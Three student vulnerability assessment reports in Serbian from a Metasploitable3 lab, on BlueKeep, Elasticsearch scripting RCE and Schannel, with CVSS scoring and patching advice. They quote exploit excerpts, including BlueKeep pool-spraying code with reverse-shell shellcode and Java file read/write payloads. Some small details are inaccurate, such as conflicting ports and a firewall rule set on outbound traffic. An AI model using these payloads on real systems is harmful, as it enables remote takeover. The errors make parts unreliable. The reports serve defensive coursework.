Vulnerability Assessment Report 1

Ime i prezime: Spasoje Brborić
Tim: 9
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2019-0708

- **Opis:**
  Kritična ranjivost poznata i kao “BlueKeep” i koja koristi TCP port 3389 na više verzija Windows sistema koji koriste RDS (Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2). Ona omogućava napadaču da se konektuje na ciljani sistem pomoću Microsoft RDP (Remote Desktop Protocol) i da izvede izvršavanje koda na daljinu (*remote code execution*), upravljanje podacima, kao i kreiranje naloga sa punim korisničkim pravima, i to bez potrebe za autentifikacijom.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 9.8
- **Vektor:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  - **AV : N** - Eksploatacija se može desiti preko mreže, kao što je internet.
  - **AC : L** – Napad se lako izvodi i ne zahteva puno tehničkog znanja.
  - **PR : N** – Napadaču nisu potrebni specifični privilegiji ili nalog za uspešnu eksploataciju.
  - **UI : N** – Eksploatacija ne zahteva interakciju legitimnog korisnika.
  - **S : U** – Opseg ranjivosti nije promenjen.
  - **C : H** – Narušena je poverljivost, napadač dobija pristup informacijama koje bi trebale biti zaštićene.
  - **I : H** – Narušen je integritet, napadač može menjati fajlove ili podatke.
  - **A : H** – Narušena je dostupnost, napadač može ograničiti legitimni pristup sistemu.

- **Opravdanje:**
  Laka izvedba napada preko mreže za koju nije potrebna posebna autentifikacija, kao ni posebna interakcija legitimnog korisnika pokazuje lakoću eksploatacije, a sama

eksploatacija dovodi do visoko narušene poverljivosti, integriteta i dostupnosti što pokazuje i visoku opasnost. Visoka opasnost i lakoća same eksploatacije opravdavaju visok 9.8 CVSS skor.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da link ka exploit-u
- **Opis eksploita:**
  Ovaj exploit koristi ranjivost u Remote Desktop Protocol-u tako što šalje pakete instrukcija na port 3389 koje iskorišćavaju ranjivost i omogućavaju napadaču da izvrši svoj zlonameran kod na ciljanom sistemu. Uspešan napad može prouzrokovati potpuno preuzimanje kontrole nad sistemom, što uključuje i pristup svim podacima I fajlovima sistema.
- **Kod eksploita (ukoliko postoji):**

```
    print '[-] Freeing Object'
    free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
    sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)

    print '[-] Taking Over Freed Object And Pool Spraying'

    pool_size = 0x630

    pool_address = 0xfffffa80055ff980
    #pool_address = 0xfffffa800b5ff980

    pool_storage_address = pool_address + 0x48
    pool_shellcode_address = pool_address + 0x50

    fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88

    # Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
    reverse_shell =
'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\
+ pack('>H', lport) + socket.inet_aton(lhost) +
'\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\

    shellcode = makeKernelUserPayload(reverse_shell, pool_size)

    payload = pack('<Q', pool_shellcode_address) + shellcode
    for i in xrange(0x1000):
       sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
       for i in xrange(10):
          sendToVirtualChannel(tls, payload, initiator, 1006)

    #raw_input('Press Enter To Trigger UAF')
    print '[-] Triggering Used After Free'
    print
    print '[*] Enjoy Shell :) [*]'
    print
    tls.close()
```

1. Prvo, exploit uspostavlja konekciju sa ciljnim sistemom putem socket-a I TLS enkripcije kako bi uspostavio RDP sesiju, imitirajući legalnu vezu.
2. Nakon uspostavljanja sesije, koristi se tehnika “*pool spraying*”, koja popunjava memoriju ciljanog sistema tako što kreira veliki broj objekata.

3. Nakon pretrpavanja memorije, koristi se used-after-free ranjivost tako što se oslobađaju objekti iz memorije. Napadač nakon toga preuzima kontrolu nad oslobođenim delovima memorije i time mu je omogućeno da u te delove memorije unese shellcode.
4. Shellcode koji je ubačen u memoriju uspostavlja povratnu konekciju sa napadačem (reverse shell) koja omogućava napadaču kontrolu nad sistemom.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Tačno vreme kada je ova ranjivost uvedena nije specifično dokumentovano, ali je poznato da je uvedena u verzijama operativnog sistema Windows koje koriste RDS (Remote Desktop Services), i tu spadaju Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2. Problem leži u RDP-u koji nema adekvatnu validaciju podataka pri komunikaciji, čime stvara mogućnost use-after-free napada.

- **Primer Koda (ako je primenljivo):**

  Microsoft nije omogućio pristup kodu njegovog Remote Desktop Protocol-a u kom leži ranjivost.

---

5. Preporuke za mitigaciju

1. **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da, Microsoft je izbacio patch kojim rešava ovu ranjivost 14.05.2019. godine. link ka microsoft security update-u
2. **Mitigation Strategy**

   1) Proverite da li sistem pripada verzijama koje imaju opisanu ranjivost (Windows XP, Windows Server 2003, Windows 7, Windows Server 2008, Windows Server 2008 R2).
   2) Ažurirajte sistem: Unutar “Windows Update” instalirajte dostupna ažuriranja, uključujući i patch za ovu ranjivost.
   3) Restartujte sistem.

   Preporučeni alati sem “Windows Update” alata su System Center Configuration Manager I Windows Server Update Services, koji omogućavaju ažuriranje na više računara sa jednog mesta.

3. **Alternativni fix (ukoliko ne postoji vendorski):**

Ako iz nekog razloga nije moguće ažurirati sistem i time primeniti patch koji rešava ovaj problem, preporuka je onemogućiti Remote Desktop Services (RDS) ako nisu neophodni.

1) Otvorite “Control Panel”, zatim idite na “System and Security” -> “System”.
2) Kliknite na “Remote Settings”.
3) U odeljku “Remote Desktop” odaberite opciju “Don’t allow remote connections to this computer”.
4) Kliknite na “Ok” kako biste sačuvali promene.

Još neka zaobilazna rešenja koja se mogu primeniti, iako je preporučeno izvršiti ažuriranje softvera kao primarno rešenje:

1) Omogućite Network Level Authentication (NLA). Na ovaj način se blokiraju neautentifikovani napadači.
    a. Win + R prečica kako biste otvorili prozor “Run” -> upišite sysdm.cpl i pritisnite “Enter”.
    b. U prozoru “System Properties” idite na karticu “Remote”
    c. U sekciji “Remote Desktop” označite opciju “Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended).
    d. Kliknite “Apply”, zatim “OK” kako biste sačuvali promene.
    e. Win + R kako biste otvorili prozor “Run” -> upišite services.msc i pritisnite “Enter”. U prozoru sa servisima pronađite “Remote Desktop Services” i desnim klikom na servis izaberite “Restart” kako bi se NLA primenio na sve RDP konekcije.
2) Blokirajte TCP port 3389 unutar firewall-a. Na ovaj način je sistem zaštićen od napada koji dolaze van interne mreže, iako su unutrašnji napadi i dalje mogući.
    a. Win + R prečica kako biste otvorili prozor “Run” -> upišite wf.mcs i pritisnite “Enter”.
    b. U levom panelu izaberite “Outbound Rules” i u desnom panelu kliknite “New Rule”.
    c. Izaberite “Port” kao vrstu pravila i kliknite “Next”. Zatim odaberite “TCP” I upišite 3389 u polje za specifične portove, zatim “Next”. Izaberite “Block the connection” i kliknite “Next”. Označite kada pravilo važi (Domain, Private, Public) i kliknite “Next”.
    d. Upišite ime za pravilo, na primer ”Block RDP Port 3389”. I kliknite “Finish” da kreirate pravilo.

Vulnerability Assessment Report 2

Ime i prezime: Spasoje Brborić
Tim: 9
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-3120

- **Opis:**
  Podrazumevana konfiguracija Elasticsearch-a pre verzije 1.2 omogućava dinamičko skriptovanje, što omogućava udaljenim napadačima da izvršavaju proizvoljne MVEL izraze i Java kod preko ‘source’ parametra za _search (RCE – remote code execution), kao i da pristupaju datotekama host-a. Ova ranjivost koristi TCP port 9200 i moguća je samo ukoliko korisnik ne pokrene Elasticsearch u sopstvenoj nezavisnoj virtuelnoj mašini.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 6.3
- **Vektor:** AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
  - **AV : N** - Eksploatacija se može desiti preko mreže, kao što je internet.
  - **AC : L** – Napad se lako izvodi i ne zahteva puno tehničkog znanja.
  - **PR : N** – Napadaču nisu potrebni specifični privilegiji ili nalog za uspešnu eksploataciju.
  - **UI : R** – Eksploatacija zahteva interakciju legitimnog korisnika.
  - **S : U** – Opseg ranjivosti nije promenjen.
  - **C : L** – Ograničen pristup poverljivim podacima.
  - **I : L** – Moguće su određene izmene podataka, ali nema potpune kontrole nad integritetom podataka.
  - **A : L** – Uticaj na dostupnost sistema je ograničen, ali postoji mogućnost delimičnog ometanja funkcionalnosti.

- **Opravdanje:**
  Laka izvedba napada preko mreže za koju nije potrebna posebna autentifikacija pokazuje laku dostupnost napadačima. Ali, potrebna je interakcija legitimnih korisnika,

što smanjuje lakoću eksploatacije. Sama eksploatacija dovodi do blago narušene poverljivosti, integriteta i dostupnosti što pokazuje i nizak nivo opasnosti. Niska opasnost uz relativnu lakoću same eksploatacije opravdavaju srednje visok 6.3 CVSS skor.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da, link ka exploit-u
- **Opis eksploita:**
  Ovaj exploit koristi ranjivost u starijim verzijama Elasticsearch-a koje omogućavaju dinamičko izvršavanje skripti. Exploit omogućava napadaču da izvrši proizvoljan Java kod ili MVEL izraz kroz parametar *source* u *_search* API-ju. Uspešan napad omogućava napadaču da čita i piše fajlove na ciljanom sistemu.
- **Kod eksploita (ukoliko postoji):**

```
read_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");
};

write_file = function(filename) {
  return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" +
filename + "\", true)));\nwriter.println(\"" + document.getElementById("element_2").value + "\");\nwriter.close();");
};
```

1) Prvo, definišu se dve ključne funkcije: read_file, koja omogućava čitanje sadržaja iz navedenog fajla i write_file, koja omogućava pisanje novih podataka u fajlu.
2) Eksploatacija dalje zahteva korisnički unos koji se prikuplja iz HTML elemenata na stranici. Zatim se na osnovu prikupljenih vrednosti kreira payload (JSON strukturu) koji definiše *script_fields* za izvršavanje Java koda kroz Elasticsearch API.
3) Zatim se šalje GET zahtev Elasticsearch API-ju na port 9200 pomoću $.getJSON funkcije. A u zavisnosti od unetih vrednosti od strane legitimnog korisnika u HTML formu, napad može da čita sadržaj fajla ili da upisuje podatke u fajlu na ciljanom sistemu.
4) Nakon obrade zahteva od strane Elasticsearch-a, odgovori se prikazuju u HTML elementu *script_results* u formi potvrde uspešnog upisa ili sadržaja pročitanih fajlova.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Tačno vreme kada je ova ranjivost uvedena nije specifično dokumentovano, ali je poznato da je uvedena u verzijama Elasticsearch-a pre verzije 1.2 zbog podrazumevano omogućenog dinamičkog izvršavanja skripti. Problem nastaje nedostatkom validacije

prilikom obrade skripti koje dolaze putem zahteva ka Elasticsearch API-ju. Ovo daje mogućnost napadačima da izvrše proizvoljan Java kod putem _search API-ja koristeći parametar source.

- **Primer Koda (ako je primenljivo):**

  Elastic NV nije omogućio pristup izvornom kodu koji upravlja dinamičnim skriptovanjem u kom leži ranjivost.

---

5. Preporuke za mitigaciju

1. **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da.
2. **Mitigation Strategy**

   Preporučeno je ažuriranje Elasticsearch-a na verziju 1.2 ili noviju.

   1) Napravite rezervnu kopiju svih fajlova korišćenjem snapshot opcije u Elasticsearch-u.
   2) Posetite zvanični sajt Elasticsearch-a i preuzmite najnoviju verziju.
   3) Otvorite fajl elasticsearch.yml i izvršite prilagođavanje prema preporukama za najnoviju verziju.
   4) Restartujte Elasticsearch servis i potom verifikujte verziju.
   5) Nakon ažuriranja, proverite funkcionalnosti sistema i pratite logove kako biste uočili potencijalne greške.

Vulnerability Assessment Report 3

Ime i prezime: Spasoje Brborić
Tim: 9
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-6321

- **Opis:**
  Ova ranjivost poznata kao i Microsoft Schannel Remote Code Execution Vulnerability, se odnosi na Microsoft Secure Channel (Schannel) sigurnosni paket u Windows operativnim sistemima (Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows 7, Windows 8, Windows 8.1). Ona omogućava napadaču RCE (remote code execution) slanjem posebno oblikovanih paketa na server uz korišćenje Schannel sigurnosnog paketa za uspostavljanje komunikacije. Servisi pogođeni ovom ranivošću koriste TCP port 3389.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 8.8
- **Vektor:** AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  - **AV : N** - Eksploatacija se može desiti preko mreže, kao što je internet.
  - **AC : L** – Napad se lako izvodi i ne zahteva puno tehničkog znanja.
  - **PR : L** – Napadaču su potrebne niske privilegije za izvođenje napada, što znači da može imati ograničena prava ili pristup. Na primer, može imati običan korisnički nalog sa niskim privilegijama.
  - **UI : N** – Eksploatacija ne zahteva interakciju legitimnog korisnika.
  - **S : U** – Opseg ranjivosti nije promenjen.
  - **C : H** – Narušena je poverljivost, napadač dobija pristup informacijama koje bi trebale biti zaštićene.
  - **I : H** – Narušen je integritet, napadač može menjati fajlove ili podatke.
  - **A : H** – Narušena je dostupnost, napadač može ograničiti legitimni pristup sistemu.

- **Opravdanje:**
  Laka izvedba napada preko mreže za koju nije potrebna posebna autentifikacija sa visokim privilegijama, kao ni posebna interakcija legitimnog korisnika pokazuje lakoću eksploatacije, a sama eksploatacija dovodi do visoko narušene poverljivosti, integriteta i dostupnosti što pokazuje i visoku opasnost. Visoka opasnost i lakoća same eksploatacije opravdavaju visok 8.8 CVSS skor.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da, link ka exploitu
- **Opis eksploita:**
  Ovaj exploit koristi ranjivost u Microsoft Schannel-u uz iskorišćavanje problema u obradi SSL/TLS sertifikata. Napadač šalje posebno oblikovane paketa na port 443 kako bi izazvao prelivanje memorije, i samim tim omogućava izvršenje zlonamernog koda na sistemu.
- **Kod eksploita (ukoliko postoji):**

```
push    dword ptr [esi] ; Size
mov     ebx, [ebp+Dst]
push    dword ptr [esi+4] ; Src
push    ebx             ; Dst
call    _memcpy
push    dword ptr [esi+8] ; Size
mov     edi, [ebp+arg_C]
mov     eax, [edi]
push    dword ptr [esi+0Ch] ; Src
shr     eax, 1
add     eax, ebx
push    eax             ; Dst
call    _memcpy
```

1) Prvo, exploit uspostavlja vezu sa ciljnim sistemom putem socket-a i TLS enkripcije, imitirajući legitimnu SSL/TLS konekciju.
2) Nakon uspostavljanja veze, napadač šalje pakete koji sadrže modifikovane podatke. Ovi podaci su posebno oblikovani da izazovu prelivanje memorije.
3) Napadač kontroliše veličine podataka, čime omogućava prekomerno pisanje u memoriju.
4) Kroz prelivanje memorije, napadač ubacuje svoj shellcode (zlonameran kod) u memoriju.
5) Kada se kod umetnut u memoriju izvrši, napadač dobija kontrolu nad sistemom. Ovo može uključivati i uspostavljanje povratne veze (reverse shell) ili druge zlonamerne operacije.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Tačno vreme kada je ova ranjivost uvedena nije specifično dokumentovano, ali je poznato da je prisutna u verzijama operativnog sistema Windows koje koriste Microsoft Secure Channel (Schannel). Ove verzije uključuju Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows 7, Windows 8, Windows 8.1. Problem leži u Schannel-u, gde se neadekvatno obrađuju SSL/TLS sertifikati, što dovodi do prelivanja memorije i omogućava napadaču da izvrši zlonameran kod.

- **Primer Koda (ako je primenljivo):**

  Microsoft nije omogućio pristup kodu njegovog Secure Channel (Schannel) gde leži ranjivost.

---

5. Preporuke za mitigaciju

1. **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da, Microsoft je izbacio patch kojim rešava ovu ranjivost 11.11.2014. godine. link ka microsoft security update-u

2. **Mitigation Strategy**

   1) Proverite da li sistem pripada verzijama koje imaju opisanu ranjivost (Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows 7, Windows 8, Windows 8.1).
   2) Ažurirajte sistem: Unutar “Windows Update” instalirajte dostupna ažuriranja, uključujući i patch za ovu ranjivost.
   3) Restartujte sistem.

   Preporučeni alati sem “Windows Update” alata su System Center Configuration Manager i Windows Server Update Services, koji omogućavaju ažuriranje na više računara sa jednog mesta.

Nakon ažuriranja, proverite funkcionalnosti sistema i pratite logove kako biste uočili potencijalne greške.